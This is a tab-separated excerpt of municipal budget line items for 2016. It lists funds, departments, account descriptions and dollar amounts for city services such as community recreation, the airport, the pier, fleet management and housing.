22406	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511748.0	DENTAL	804.0	Salaries and Wages	2016	14007	0	0	0	0	0	0	0	0	0	0	0	14007
22407	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404930.0	SALE OF COMPOSTING BINS	650.0	Charges for Service	2016	-2000	0	0	0	0	0	0	0	0	0	0	0	-2000
22408	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	1538	0	0	0	0	0	0	0	0	0	0	0	1538
22409	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2016	5271	0	0	0	0	0	0	0	0	0	0	0	5271
22410	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2016	506208	0	0	0	0	0	0	0	0	0	0	0	506208
22411	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2016	2894	0	0	0	0	0	0	0	0	0	0	0	2894
22412	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555010.0	CONTRACTUAL SERVICES	816.0	 Supplies and Expenses	2016	1138537	0	0	0	0	0	0	0	0	0	0	0	1138537
22413	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT	908.0	 Supplies and Expenses	2016	-3915411	0	0	0	0	0	0	0	0	0	0	0	-3915411
22414	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2016	55805	0	0	0	0	0	0	0	0	0	0	0	55805
22415	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511713.0	MEDICARE-MISC EMPLOYEES		Salaries and Wages	2016	9968	0	0	0	0	0	0	0	0	0	0	0	9968
22416	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		DISABILITY INSURANCE		Salaries and Wages	2016	4570	0	0	0	0	0	0	0	0	0	0	0	4570
22417	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522320.0	METERED POSTAGE		 Supplies and Expenses	2016	2077	0	0	0	0	0	0	0	0	0	0	0	2077
22418	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2016	1020	0	0	0	0	0	0	0	0	0	0	0	1020
22419	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2016	40000	0	0	0	0	0	0	0	0	0	0	0	40000
22420	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	20400	0	0	0	0	0	0	0	0	0	0	0	20400
22421	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2016	14446	0	0	0	0	0	0	0	0	0	0	0	14446
22422	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	888564	0	0	0	0	0	0	0	0	0	0	0	888564
22423	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	400	0	0	0	0	0	0	0	0	0	0	0	400
22424	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2016	4507	0	0	0	0	0	0	0	0	0	0	0	4507
22425	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2016	1628	0	0	0	0	0	0	0	0	0	0	0	1628
22426	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2016	1628	0	0	0	0	0	0	0	0	0	0	0	1628
22427	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2016	719	0	0	0	0	0	0	0	0	0	0	0	719
22428	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533680.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2016	4325	0	0	0	0	0	0	0	0	0	0	0	4325
22429	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	53819	0	0	0	0	0	0	0	0	0	0	0	53819
22430	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	6446	0	0	0	0	0	0	0	0	0	0	0	6446
22431	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2016	74592	0	0	0	0	0	0	0	0	0	0	0	74592
22432	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2016	46532	0	0	0	0	0	0	0	0	0	0	0	46532
22433	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	12690	0	0	0	0	0	0	0	0	0	0	0	12690
22434	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	26410	0	0	0	0	0	0	0	0	0	0	0	26410
22435	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2016	4136	0	0	0	0	0	0	0	0	0	0	0	4136
22436	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2016	4000	0	0	0	0	0	0	0	0	0	0	0	4000
22437	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	24500	0	0	0	0	0	0	0	0	0	0	0	24500
22438	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	834	0	0	0	0	0	0	0	0	0	0	0	834
22439	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2016	213	0	0	0	0	0	0	0	0	0	0	0	213
22440	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2016	144	0	0	0	0	0	0	0	0	0	0	0	144
22441	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	75	0	0	0	0	0	0	0	0	0	0	0	75
22442	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	194447	0	0	0	0	0	0	0	0	0	0	0	194447
22443	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	6102	0	0	0	0	0	0	0	0	0	0	0	6102
22444	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	42397	0	0	0	0	0	0	0	0	0	0	0	42397
22445	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	7698	0	0	0	0	0	0	0	0	0	0	0	7698
22446	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	11030	0	0	0	0	0	0	0	0	0	0	0	11030
22447	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	3600	0	0	0	0	0	0	0	0	0	0	0	3600
22448	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	35436	0	0	0	0	0	0	0	0	0	0	0	35436
22449	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	7080	0	0	0	0	0	0	0	0	0	0	0	7080
22450	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2016	597	0	0	0	0	0	0	0	0	0	0	0	597
22451	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	16800	0	0	0	0	0	0	0	0	0	0	0	16800
22452	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2016	990	0	0	0	0	0	0	0	0	0	0	0	990
22453	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	200	0	0	0	0	0	0	0	0	0	0	0	200
22454	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	600	0	0	0	0	0	0	0	0	0	0	0	600
22455	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2016	1322	0	0	0	0	0	0	0	0	0	0	0	1322
22456	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2016	502	0	0	0	0	0	0	0	0	0	0	0	502
22457	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2016	2100	0	0	0	0	0	0	0	0	0	0	0	2100
22458	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401070.0	TENNIS RESERVATIONS	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22459	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2016	1628	0	0	0	0	0	0	0	0	0	0	0	1628
22460	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560040.0	CISTERN PROGRAM	808.0	 Supplies and Expenses	2016	20767	0	0	0	0	0	0	0	0	0	0	0	20767
22461	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2016	-94259	0	0	0	0	0	0	0	0	0	0	0	-94259
22462	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511560.0	CAPITALIZED LABOR		Salaries and Wages	2016	-56615	0	0	0	0	0	0	0	0	0	0	0	-56615
22463	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401110.0	TRAFFIC ACCIDENT HAZ MAT CLEAN	612.0	Charges for Service	2016	-30000	0	0	0	0	0	0	0	0	0	0	0	-30000
22464	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2016	1060	0	0	0	0	0	0	0	0	0	0	0	1060
22465	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2016	1160	0	0	0	0	0	0	0	0	0	0	0	1160
22466	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22467	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	405660.0	GLOW FOOD TRUCK REVENUE	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22468	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
22469	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2016	2000	0	0	0	0	0	0	0	0	0	0	0	2000
22470	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2016	98534	0	0	0	0	0	0	0	0	0	0	0	98534
22471	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE		Salaries and Wages	2016	1200	0	0	0	0	0	0	0	0	0	0	0	1200
22472	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		DCAP		Salaries and Wages	2016	572	0	0	0	0	0	0	0	0	0	0	0	572
22473	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2016	7346	0	0	0	0	0	0	0	0	0	0	0	7346
22474	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		DISABILITY INSURANCE		Salaries and Wages	2016	2024	0	0	0	0	0	0	0	0	0	0	0	2024
22475	BA	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	404940.0	AB2766 MBILE SRCE AIR POLL FEE	610.0	Intergovernmental	2016	-110000	0	0	0	0	0	0	0	0	0	0	0	-110000
22476	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	405750.0	VEHICLE MAINTENANCE	650.0	Charges for Service	2016	-5256444	0	0	0	0	0	0	0	0	0	0	0	-5256444
22477	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	166083	0	0	0	0	0	0	0	0	0	0	0	166083
22478	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	50910	0	0	0	0	0	0	0	0	0	0	0	50910
22479	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	4715	0	0	0	0	0	0	0	0	0	0	0	4715
22480	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	6800	0	0	0	0	0	0	0	0	0	0	0	6800
22481	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2016	30600	0	0	0	0	0	0	0	0	0	0	0	30600
22482	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	52275	0	0	0	0	0	0	0	0	0	0	0	52275
22483	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	18000	0	0	0	0	0	0	0	0	0	0	0	18000
22484	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2016	11466	0	0	0	0	0	0	0	0	0	0	0	11466
22485	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2016	4179	0	0	0	0	0	0	0	0	0	0	0	4179
22486	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2016	2077	0	0	0	0	0	0	0	0	0	0	0	2077
22487	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-3016	0	0	0	0	0	0	0	0	0	0	0	-3016
22488	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409061.0	SMSE-WINTER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22489	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2016	-2534	0	0	0	0	0	0	0	0	0	0	0	-2534
22490	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2016	-41080	0	0	0	0	0	0	0	0	0	0	0	-41080
22491	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-28113	0	0	0	0	0	0	0	0	0	0	0	-28113
22492	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-8184	0	0	0	0	0	0	0	0	0	0	0	-8184
22493	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2016	-23312	0	0	0	0	0	0	0	0	0	0	0	-23312
22494	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-6146	0	0	0	0	0	0	0	0	0	0	0	-6146
22495	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-33960	0	0	0	0	0	0	0	0	0	0	0	-33960
22496	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544450.0	ADMIN-COMMUNICATION EFFORTS	810.0	 Supplies and Expenses	2016	51447	0	0	0	0	0	0	0	0	0	0	0	51447
22497	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409006.0	CHILDCARE-FEBRUARY	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22498	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409008.0	CHILDCARE-APRIL	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22499	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409020.0	ENRICHMENT PROGRAM	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22500	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409041.0	ELEM SPORTS-FALL	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22501	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409042.0	ELEM SPORTS-WINTER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22502	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402810.0	URN SALES	650.0	Charges for Service	2016	-19158	0	0	0	0	0	0	0	0	0	0	0	-19158
22503	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556140.0	SOLD VAULTS	808.0	 Supplies and Expenses	2016	31600	0	0	0	0	0	0	0	0	0	0	0	31600
22504	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
22505	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2016	36740	0	0	0	0	0	0	0	0	0	0	0	36740
22506	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2016	-5350	0	0	0	0	0	0	0	0	0	0	0	-5350
22507	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	163592	0	0	0	0	0	0	0	0	0	0	0	163592
22508	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	22870	0	0	0	0	0	0	0	0	0	0	0	22870
22509	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		EAP	804.0	Salaries and Wages	2016	1370	0	0	0	0	0	0	0	0	0	0	0	1370
22510	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	10200	0	0	0	0	0	0	0	0	0	0	0	10200
22511	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	533030.0	PROPERTY INSURANCE	804.0	 Supplies and Expenses	2016	1037610	0	0	0	0	0	0	0	0	0	0	0	1037610
22512	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400885.0	SPC HAP NEW	610.0	Intergovernmental	2016	-288098	0	0	0	0	0	0	0	0	0	0	0	-288098
22513	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400921.0	SPC ADMIN SU02	610.0	Intergovernmental	2016	-5982	0	0	0	0	0	0	0	0	0	0	0	-5982
22514	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	2500	0	0	0	0	0	0	0	0	0	0	0	2500
22515	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	2500	0	0	0	0	0	0	0	0	0	0	0	2500
22516	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400394.0	HAP REVENUE - PORTS	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22517	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2016	-14216	0	0	0	0	0	0	0	0	0	0	0	-14216
22518	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2016	3125	0	0	0	0	0	0	0	0	0	0	0	3125
22519	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		DISABILITY INSURANCE	816.0	Salaries and Wages	2016	8375	0	0	0	0	0	0	0	0	0	0	0	8375
22520	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522180.0	BANK FEES	816.0	 Supplies and Expenses	2016	620	0	0	0	0	0	0	0	0	0	0	0	620
22521	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2016	1100	0	0	0	0	0	0	0	0	0	0	0	1100
22522	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555210.0	TRAINING		 Supplies and Expenses	2016	831	0	0	0	0	0	0	0	0	0	0	0	831
22523	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	3617	0	0	0	0	0	0	0	0	0	0	0	3617
22524	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
22525	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	5731	0	0	0	0	0	0	0	0	0	0	0	5731
22526	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	5100	0	0	0	0	0	0	0	0	0	0	0	5100
22527	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571150.0	S+C HAP NEW	816.0	 Supplies and Expenses	2016	288098	0	0	0	0	0	0	0	0	0	0	0	288098
22528	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2016	-41652	0	0	0	0	0	0	0	0	0	0	0	-41652
22529	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511900.0	VACANCY SAVINGS	840.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22530	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511900.0	VACANCY SAVINGS	840.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22531	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-11824	0	0	0	0	0	0	0	0	0	0	0	-11824
22532	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-20067	0	0	0	0	0	0	0	0	0	0	0	-20067
22533	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	115978	0	0	0	0	0	0	0	0	0	0	0	115978
22534	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511748.0	DENTAL	804.0	Salaries and Wages	2016	9257	0	0	0	0	0	0	0	0	0	0	0	9257
22535	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	6421	0	0	0	0	0	0	0	0	0	0	0	6421
22536	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	578990.0	WELLNESS PROGRAM	804.0	 Supplies and Expenses	2016	3115	0	0	0	0	0	0	0	0	0	0	0	3115
